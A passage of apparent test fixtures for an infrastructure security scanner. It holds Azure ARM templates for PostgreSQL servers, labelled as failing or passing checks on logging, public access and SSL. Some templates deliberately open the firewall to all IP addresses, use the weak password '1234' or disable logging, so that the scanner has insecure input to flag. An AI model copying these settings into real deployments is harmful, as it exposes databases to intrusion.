"administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageMB": "[parameters('databaseSkuSizeMB')]" }, "resources": [ { "type": "firewallrules", "apiVersion": "2017-12-01", "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ], "location": "[parameters('location')]", "name": "[concat(variables('serverName'),'firewall')]", "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "255.255.255.255" } }, { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2017-12-01", "properties": { "charset": "utf8", "collation": "English_United States.1252" }, "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ] }, { "name": "connection_throttling", "type": "configurations", "apiVersion": "2017-12-01", "properties": { "value": "ON" } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerLogCheckpointsEnabled/postgreSQL-LogCheckpointsEnabled-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "siteName": { "type": "string", "metadata": { "description": "Name of azure web app" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "maxLength": 128, "metadata": { "description": "Database administrator password" } }, "databaseSkuCapacity": { "type": "int", "defaultValue": 2, "allowedValues": [ 2, 4, 8, 16, 32 ], "metadata": { "description": "Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)" } }, "databaseSkuName": { "type": "string", "defaultValue": "GP_Gen5_2", "allowedValues": [ "GP_Gen5_2", "GP_Gen5_4", "GP_Gen5_8", "GP_Gen5_16", "GP_Gen5_32", "MO_Gen5_2", "MO_Gen5_4", "MO_Gen5_8", "MO_Gen5_16", "MO_Gen5_32", "B_Gen5_1", "B_Gen5_2" ], "metadata": { "description": "Azure database for PostgreSQL sku name " } }, "databaseSkuSizeMB": { "type": "int", "allowedValues": [ 102400, 51200 ], "defaultValue": 51200, "metadata": { "description": "Azure database for PostgreSQL Sku Size " } }, "databaseSkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "allowedValues": [ "GeneralPurpose", "MemoryOptimized", "Basic" ], "metadata": { "description": "Azure database for PostgreSQL pricing tier" } }, "postgresqlVersion": { "type": "string", "allowedValues": [ "9.5", "9.6", "10.10", "11.5" ], "defaultValue": "9.6", "metadata": { "description": "PostgreSQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "databaseskuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for PostgreSQL sku family" } } }, "variables": { "databaseName": "[concat(parameters('siteName'), 'database')]", "serverName": "[concat(parameters('siteName'), 'pgserver')]", "hostingPlanName": "[concat(parameters('siteName'), 'serviceplan')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "[variables('hostingPlanName')]", "type": "Microsoft.Web/serverfarms", "location": "[parameters('location')]", "properties": { "name": "[variables('hostingPlanName')]", "workerSize": "1", "numberOfWorkers": 0 }, "sku": { "Tier": "Standard", "Name": "S1" } }, { "apiVersion": "2018-11-01", "name": "[parameters('siteName')]", "type": "Microsoft.Web/sites", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]" ], "properties": { "name": "[parameters('siteName')]", "serverFarmId": "[variables('hostingPlanName')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "connectionstrings", "type": "config", "dependsOn": [ "[concat('Microsoft.Web/sites/', parameters('siteName'))]" ], "properties": { "defaultConnection": { "value": "[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]", "type": "PostgreSQL" } } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforPostgreSQL/servers", "location": "[parameters('location')]", "name": "[variables('serverName')]", "sku": { "name": "[parameters('databaseSkuName')]", "tier": "[parameters('databaseSkuTier')]", "capacity": "[parameters('databaseSkuCapacity')]", "size": "[parameters('databaseSkuSizeMB')]", "family": "[parameters('databaseskuFamily')]" }, "properties": { "version": "[parameters('postgresqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageMB": "[parameters('databaseSkuSizeMB')]" }, "resources": [ { "type": "firewallrules", "apiVersion": "2017-12-01", "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ], "location": "[parameters('location')]", "name": "[concat(variables('serverName'),'firewall')]", "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "255.255.255.255" } }, { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2017-12-01", "properties": { "charset": "utf8", "collation": "English_United States.1252" }, "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ] }, { "name": "log_checkpoints", "type": "Microsoft.DBforPostgreSQL/servers/configurations", "apiVersion": "2017-12-01", "properties": { "value": "OFF" } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerLogCheckpointsEnabled/postgreSQL-LogCheckpointsEnabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "siteName": { "type": "string", "metadata": { "description": "Name of azure web app" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "maxLength": 128, "metadata": { "description": "Database administrator password" } }, "databaseSkuCapacity": { "type": "int", "defaultValue": 2, "allowedValues": [ 2, 4, 8, 16, 32 ], "metadata": { "description": "Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)" } }, "databaseSkuName": { "type": "string", "defaultValue": "GP_Gen5_2", "allowedValues": [ "GP_Gen5_2", "GP_Gen5_4", "GP_Gen5_8", "GP_Gen5_16", "GP_Gen5_32", "MO_Gen5_2", "MO_Gen5_4", "MO_Gen5_8", "MO_Gen5_16", "MO_Gen5_32", "B_Gen5_1", "B_Gen5_2" ], "metadata": { "description": "Azure database for PostgreSQL sku name " } }, "databaseSkuSizeMB": { "type": "int", "allowedValues": [ 102400, 51200 ], "defaultValue": 51200, "metadata": { "description": "Azure database for PostgreSQL Sku Size " } }, "databaseSkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "allowedValues": [ "GeneralPurpose", "MemoryOptimized", "Basic" ], "metadata": { "description": "Azure database for PostgreSQL pricing tier" } }, "postgresqlVersion": { "type": "string", "allowedValues": [ "9.5", "9.6", "10.10", "11.5" ], "defaultValue": "9.6", "metadata": { "description": "PostgreSQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "databaseskuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for PostgreSQL sku family" } } }, "variables": { "databaseName": "[concat(parameters('siteName'), 'database')]", "serverName": "[concat(parameters('siteName'), 'pgserver')]", "hostingPlanName": "[concat(parameters('siteName'), 'serviceplan')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "[variables('hostingPlanName')]", "type": "Microsoft.Web/serverfarms", "location": "[parameters('location')]", "properties": { "name": "[variables('hostingPlanName')]", "workerSize": "1", "numberOfWorkers": 0 }, "sku": { "Tier": "Standard", "Name": "S1" } }, { "apiVersion": "2018-11-01", "name": "[parameters('siteName')]", "type": "Microsoft.Web/sites", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]" ], "properties": { "name": "[parameters('siteName')]", "serverFarmId": "[variables('hostingPlanName')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "connectionstrings", "type": "config", "dependsOn": [ "[concat('Microsoft.Web/sites/', parameters('siteName'))]" ], "properties": { "defaultConnection": { "value": "[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]", "type": "PostgreSQL" } } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforPostgreSQL/servers", "location": "[parameters('location')]", "name": "[variables('serverName')]", "sku": { "name": "[parameters('databaseSkuName')]", "tier": "[parameters('databaseSkuTier')]", "capacity": "[parameters('databaseSkuCapacity')]", "size": "[parameters('databaseSkuSizeMB')]", "family": "[parameters('databaseskuFamily')]" }, "properties": { "version": "[parameters('postgresqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageMB": "[parameters('databaseSkuSizeMB')]" }, "resources": [ { "type": "firewallrules", "apiVersion": "2017-12-01", "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ], "location": "[parameters('location')]", "name": "[concat(variables('serverName'),'firewall')]", "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "255.255.255.255" } }, { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2017-12-01", "properties": { "charset": "utf8", "collation": "English_United States.1252" }, "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ] }, { "name": "log_checkpoints", "type": "Microsoft.DBforPostgreSQL/servers/configurations", "apiVersion": "2017-12-01", "properties": { "value": "ON" } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerLogCheckpointsEnabled/postgreSQL-LogCheckpointsEnabled-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "siteName": { "type": "string", "metadata": { "description": "Name of azure web app" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "maxLength": 128, "metadata": { "description": "Database administrator password" } }, "databaseSkuCapacity": { "type": "int", "defaultValue": 2, "allowedValues": [ 2, 4, 8, 16, 32 ], "metadata": { "description": "Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)" } }, "databaseSkuName": { "type": "string", "defaultValue": "GP_Gen5_2", "allowedValues": [ "GP_Gen5_2", "GP_Gen5_4", "GP_Gen5_8", "GP_Gen5_16", "GP_Gen5_32", "MO_Gen5_2", "MO_Gen5_4", "MO_Gen5_8", "MO_Gen5_16", "MO_Gen5_32", "B_Gen5_1", "B_Gen5_2" ], "metadata": { "description": "Azure database for PostgreSQL sku name " } }, "databaseSkuSizeMB": { "type": "int", "allowedValues": [ 102400, 51200 ], "defaultValue": 51200, "metadata": { "description": "Azure database for PostgreSQL Sku Size " } }, "databaseSkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "allowedValues": [ "GeneralPurpose", "MemoryOptimized", "Basic" ], "metadata": { "description": "Azure database for PostgreSQL pricing tier" } }, "postgresqlVersion": { "type": "string", "allowedValues": [ "9.5", "9.6", "10.10", "11.5" ], "defaultValue": "9.6", "metadata": { "description": "PostgreSQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "databaseskuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for PostgreSQL sku family" } } }, "variables": { "databaseName": "[concat(parameters('siteName'), 'database')]", "serverName": "[concat(parameters('siteName'), 'pgserver')]", "hostingPlanName": "[concat(parameters('siteName'), 'serviceplan')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "[variables('hostingPlanName')]", "type": "Microsoft.Web/serverfarms", "location": "[parameters('location')]", "properties": { "name": "[variables('hostingPlanName')]", "workerSize": "1", "numberOfWorkers": 0 }, "sku": { "Tier": "Standard", "Name": "S1" } }, { "apiVersion": "2018-11-01", "name": "[parameters('siteName')]", "type": "Microsoft.Web/sites", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]" ], "properties": { "name": "[parameters('siteName')]", "serverFarmId": "[variables('hostingPlanName')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "connectionstrings", "type": "config", "dependsOn": [ "[concat('Microsoft.Web/sites/', parameters('siteName'))]" ], "properties": { "defaultConnection": { "value": "[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]", "type": "PostgreSQL" } } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforPostgreSQL/servers", "location": "[parameters('location')]", "name": "[variables('serverName')]", "sku": { "name": "[parameters('databaseSkuName')]", "tier": "[parameters('databaseSkuTier')]", "capacity": "[parameters('databaseSkuCapacity')]", "size": "[parameters('databaseSkuSizeMB')]", "family": "[parameters('databaseskuFamily')]" }, "properties": { "version": "[parameters('postgresqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageMB": "[parameters('databaseSkuSizeMB')]" }, "resources": [ { "type": "firewallrules", "apiVersion": "2017-12-01", "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ], "location": "[parameters('location')]", "name": "[concat(variables('serverName'),'firewall')]", "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "255.255.255.255" } }, { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2017-12-01", "properties": { "charset": "utf8", "collation": "English_United States.1252" }, "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ] }, { "name": "log_checkpoints", "type": "configurations", "apiVersion": "2017-12-01", "properties": { "value": "ON" } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerLogConnectionsEnabled/postgreSQL-LogConnectionsEnabled-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "siteName": { "type": "string", "metadata": { "description": "Name of azure web app" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "maxLength": 128, "metadata": { "description": "Database administrator password" } }, "databaseSkuCapacity": { "type": "int", "defaultValue": 2, "allowedValues": [ 2, 4, 8, 16, 32 ], "metadata": { "description": "Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)" } }, "databaseSkuName": { "type": "string", "defaultValue": "GP_Gen5_2", "allowedValues": [ "GP_Gen5_2", "GP_Gen5_4", "GP_Gen5_8", "GP_Gen5_16", "GP_Gen5_32", "MO_Gen5_2", "MO_Gen5_4", "MO_Gen5_8", "MO_Gen5_16", "MO_Gen5_32", "B_Gen5_1", "B_Gen5_2" ], "metadata": { "description": "Azure database for PostgreSQL sku name " } }, "databaseSkuSizeMB": { "type": "int", "allowedValues": [ 102400, 51200 ], "defaultValue": 51200, "metadata": { "description": "Azure database for PostgreSQL Sku Size " } }, "databaseSkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "allowedValues": [ "GeneralPurpose", "MemoryOptimized", "Basic" ], "metadata": { "description": "Azure database for PostgreSQL pricing tier" } }, "postgresqlVersion": { "type": "string", "allowedValues": [ "9.5", "9.6", "10.10", "11.5" ], "defaultValue": "9.6", "metadata": { "description": "PostgreSQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "databaseskuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for PostgreSQL sku family" } } }, "variables": { "databaseName": "[concat(parameters('siteName'), 'database')]", "serverName": "[concat(parameters('siteName'), 'pgserver')]", "hostingPlanName": "[concat(parameters('siteName'), 'serviceplan')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "[variables('hostingPlanName')]", "type": "Microsoft.Web/serverfarms", "location": "[parameters('location')]", "properties": { "name": "[variables('hostingPlanName')]", "workerSize": "1", "numberOfWorkers": 0 }, "sku": { "Tier": "Standard", "Name": "S1" } }, { "apiVersion": "2018-11-01", "name": "[parameters('siteName')]", "type": "Microsoft.Web/sites", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]" ], "properties": { "name": "[parameters('siteName')]", "serverFarmId": "[variables('hostingPlanName')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "connectionstrings", "type": "config", "dependsOn": [ "[concat('Microsoft.Web/sites/', parameters('siteName'))]" ], "properties": { "defaultConnection": { "value": "[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]", "type": "PostgreSQL" } } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforPostgreSQL/servers", "location": "[parameters('location')]", "name": "[variables('serverName')]", "sku": { "name": "[parameters('databaseSkuName')]", "tier": "[parameters('databaseSkuTier')]", "capacity": "[parameters('databaseSkuCapacity')]", "size": "[parameters('databaseSkuSizeMB')]", "family": "[parameters('databaseskuFamily')]" }, "properties": { "version": "[parameters('postgresqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageMB": "[parameters('databaseSkuSizeMB')]" }, "resources": [ { "type": "firewallrules", "apiVersion": "2017-12-01", "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ], "location": "[parameters('location')]", "name": "[concat(variables('serverName'),'firewall')]", "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "255.255.255.255" } }, { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2017-12-01", "properties": { "charset": "utf8", "collation": "English_United States.1252" }, "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ] }, { "name": "log_connections", "type": "Microsoft.DBforPostgreSQL/servers/configurations", "apiVersion": "2017-12-01", "properties": { "value": "OFF" } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerLogConnectionsEnabled/postgreSQL-LogConnectionsEnabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "siteName": { "type": "string", "metadata": { "description": "Name of azure web app" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "maxLength": 128, "metadata": { "description": "Database administrator password" } }, "databaseSkuCapacity": { "type": "int", "defaultValue": 2, "allowedValues": [ 2, 4, 8, 16, 32 ], "metadata": { "description": "Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)" } }, "databaseSkuName": { "type": "string", "defaultValue": "GP_Gen5_2", "allowedValues": [ "GP_Gen5_2", "GP_Gen5_4", "GP_Gen5_8", "GP_Gen5_16", "GP_Gen5_32", "MO_Gen5_2", "MO_Gen5_4", "MO_Gen5_8", "MO_Gen5_16", "MO_Gen5_32", "B_Gen5_1", "B_Gen5_2" ], "metadata": { "description": "Azure database for PostgreSQL sku name " } }, "databaseSkuSizeMB": { "type": "int", "allowedValues": [ 102400, 51200 ], "defaultValue": 51200, "metadata": { "description": "Azure database for PostgreSQL Sku Size " } }, "databaseSkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "allowedValues": [ "GeneralPurpose", "MemoryOptimized", "Basic" ], "metadata": { "description": "Azure database for PostgreSQL pricing tier" } }, "postgresqlVersion": { "type": "string", "allowedValues": [ "9.5", "9.6", "10.10", "11.5" ], "defaultValue": "9.6", "metadata": { "description": "PostgreSQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "databaseskuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for PostgreSQL sku family" } } }, "variables": { "databaseName": "[concat(parameters('siteName'), 'database')]", "serverName": "[concat(parameters('siteName'), 'pgserver')]", "hostingPlanName": "[concat(parameters('siteName'), 'serviceplan')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "[variables('hostingPlanName')]", "type": "Microsoft.Web/serverfarms", "location": "[parameters('location')]", "properties": { "name": "[variables('hostingPlanName')]", "workerSize": "1", "numberOfWorkers": 0 }, "sku": { "Tier": "Standard", "Name": "S1" } }, { "apiVersion": "2018-11-01", "name": "[parameters('siteName')]", "type": "Microsoft.Web/sites", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]" ], "properties": { "name": "[parameters('siteName')]", "serverFarmId": "[variables('hostingPlanName')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "connectionstrings", "type": "config", "dependsOn": [ "[concat('Microsoft.Web/sites/', parameters('siteName'))]" ], "properties": { "defaultConnection": { "value": "[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]", "type": "PostgreSQL" } } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforPostgreSQL/servers", "location": "[parameters('location')]", "name": "[variables('serverName')]", "sku": { "name": "[parameters('databaseSkuName')]", "tier": "[parameters('databaseSkuTier')]", "capacity": "[parameters('databaseSkuCapacity')]", "size": "[parameters('databaseSkuSizeMB')]", "family": "[parameters('databaseskuFamily')]" }, "properties": { "version": "[parameters('postgresqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageMB": "[parameters('databaseSkuSizeMB')]" }, "resources": [ { "type": "firewallrules", "apiVersion": "2017-12-01", "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ], "location": "[parameters('location')]", "name": "[concat(variables('serverName'),'firewall')]", "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "255.255.255.255" } }, { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2017-12-01", "properties": { "charset": "utf8", "collation": "English_United States.1252" }, "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ] }, { "name": "log_connections", "type": "Microsoft.DBforPostgreSQL/servers/configurations", "apiVersion": "2017-12-01", "properties": { "value": "ON" } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerLogConnectionsEnabled/postgreSQL-LogConnectionsEnabled-PASSED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "siteName": { "type": "string", "metadata": { "description": "Name of azure web app" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "maxLength": 128, "metadata": { "description": "Database administrator password" } }, "databaseSkuCapacity": { "type": "int", "defaultValue": 2, "allowedValues": [ 2, 4, 8, 16, 32 ], "metadata": { "description": "Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)" } }, "databaseSkuName": { "type": "string", "defaultValue": "GP_Gen5_2", "allowedValues": [ "GP_Gen5_2", "GP_Gen5_4", "GP_Gen5_8", "GP_Gen5_16", "GP_Gen5_32", "MO_Gen5_2", "MO_Gen5_4", "MO_Gen5_8", "MO_Gen5_16", "MO_Gen5_32", "B_Gen5_1", "B_Gen5_2" ], "metadata": { "description": "Azure database for PostgreSQL sku name " } }, "databaseSkuSizeMB": { "type": "int", "allowedValues": [ 102400, 51200 ], "defaultValue": 51200, "metadata": { "description": "Azure database for PostgreSQL Sku Size " } }, "databaseSkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "allowedValues": [ "GeneralPurpose", "MemoryOptimized", "Basic" ], "metadata": { "description": "Azure database for PostgreSQL pricing tier" } }, "postgresqlVersion": { "type": "string", "allowedValues": [ "9.5", "9.6", "10.10", "11.5" ], "defaultValue": "9.6", "metadata": { "description": "PostgreSQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "databaseskuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for PostgreSQL sku family" } } }, "variables": { "databaseName": "[concat(parameters('siteName'), 'database')]", "serverName": "[concat(parameters('siteName'), 'pgserver')]", "hostingPlanName": "[concat(parameters('siteName'), 'serviceplan')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "[variables('hostingPlanName')]", "type": "Microsoft.Web/serverfarms", "location": "[parameters('location')]", "properties": { "name": "[variables('hostingPlanName')]", "workerSize": "1", "numberOfWorkers": 0 }, "sku": { "Tier": "Standard", "Name": "S1" } }, { "apiVersion": "2018-11-01", "name": "[parameters('siteName')]", "type": "Microsoft.Web/sites", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]" ], "properties": { "name": "[parameters('siteName')]", "serverFarmId": "[variables('hostingPlanName')]" }, "resources": [ { "apiVersion": "2018-11-01", "name": "connectionstrings", "type": "config", "dependsOn": [ "[concat('Microsoft.Web/sites/', parameters('siteName'))]" ], "properties": { "defaultConnection": { "value": "[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]", "type": "PostgreSQL" } } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforPostgreSQL/servers", "location": "[parameters('location')]", "name": "[variables('serverName')]", "sku": { "name": "[parameters('databaseSkuName')]", "tier": "[parameters('databaseSkuTier')]", "capacity": "[parameters('databaseSkuCapacity')]", "size": "[parameters('databaseSkuSizeMB')]", "family": "[parameters('databaseskuFamily')]" }, "properties": { "version": "[parameters('postgresqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageMB": "[parameters('databaseSkuSizeMB')]" }, "resources": [ { "type": "firewallrules", "apiVersion": "2017-12-01", "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ], "location": "[parameters('location')]", "name": "[concat(variables('serverName'),'firewall')]", "properties": { "startIpAddress": "0.0.0.0", "endIpAddress": "255.255.255.255" } }, { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2017-12-01", "properties": { "charset": "utf8", "collation": "English_United States.1252" }, "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]" ] }, { "name": "log_connections", "type": "configurations", "apiVersion": "2017-12-01", "properties": { "value": "ON" } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerPublicAccessDisable/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforPostgreSQL/servers", "apiVersion": "2021-02-01", "name": "fail1", "location": "[azurerm_resource_group.example.location]", "sku": { "name": "GP_Gen5_4" }, "properties": { "administrator_login": "psqladminun", "administrator_login_password": "1234", "version": "9.6", "storageProfile": { "storageMB": 640000, "backupRetentionDays": 7, "geoRedundantBackup": "Enabled", "auto_grow_enabled": "Enabled" }, "publicNetworkAccess": "Enabled", "ssl_enforcement_enabled": true, "ssl_minimal_tls_version_enforced": "TLS1_2" } } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerPublicAccessDisable/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforPostgreSQL/servers", "apiVersion": "2021-02-01", "name": "fail2", "location": "[azurerm_resource_group.example.location]", "sku": { "name": "GP_Gen5_4" }, "properties": { "administrator_login": "psqladminun", "administrator_login_password": "1234", "version": "9.6", "storageProfile": { "storageMB": 640000, "backupRetentionDays": 7, "geoRedundantBackup": "Enabled", "auto_grow_enabled": "Enabled" }, "publicNetworkAccess": "Enabled", "ssl_enforcement_enabled": true, "ssl_minimal_tls_version_enforced": "TLS1_2" } } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerPublicAccessDisable/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforPostgreSQL/servers", "apiVersion": "2021-02-01", "name": "pass", "location": "[azurerm_resource_group.example.location]", "properties": { "administrator_login": "psqladminun", "administrator_login_password": "1234", "version": "9.6", "storageProfile": { "storageMB": 640000, "backupRetentionDays": 7, "geoRedundantBackup": "Enabled", "auto_grow_enabled": "Enabled" }, "publicNetworkAccess": "Disabled", "ssl_enforcement_enabled": true, "ssl_minimal_tls_version_enforced": "TLS1_2" } } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerSSLEnforcementEnabled/postgreSQL-SSL-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "metadata": { "description": "Server Name for Azure database for PostgreSQL" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "metadata": { 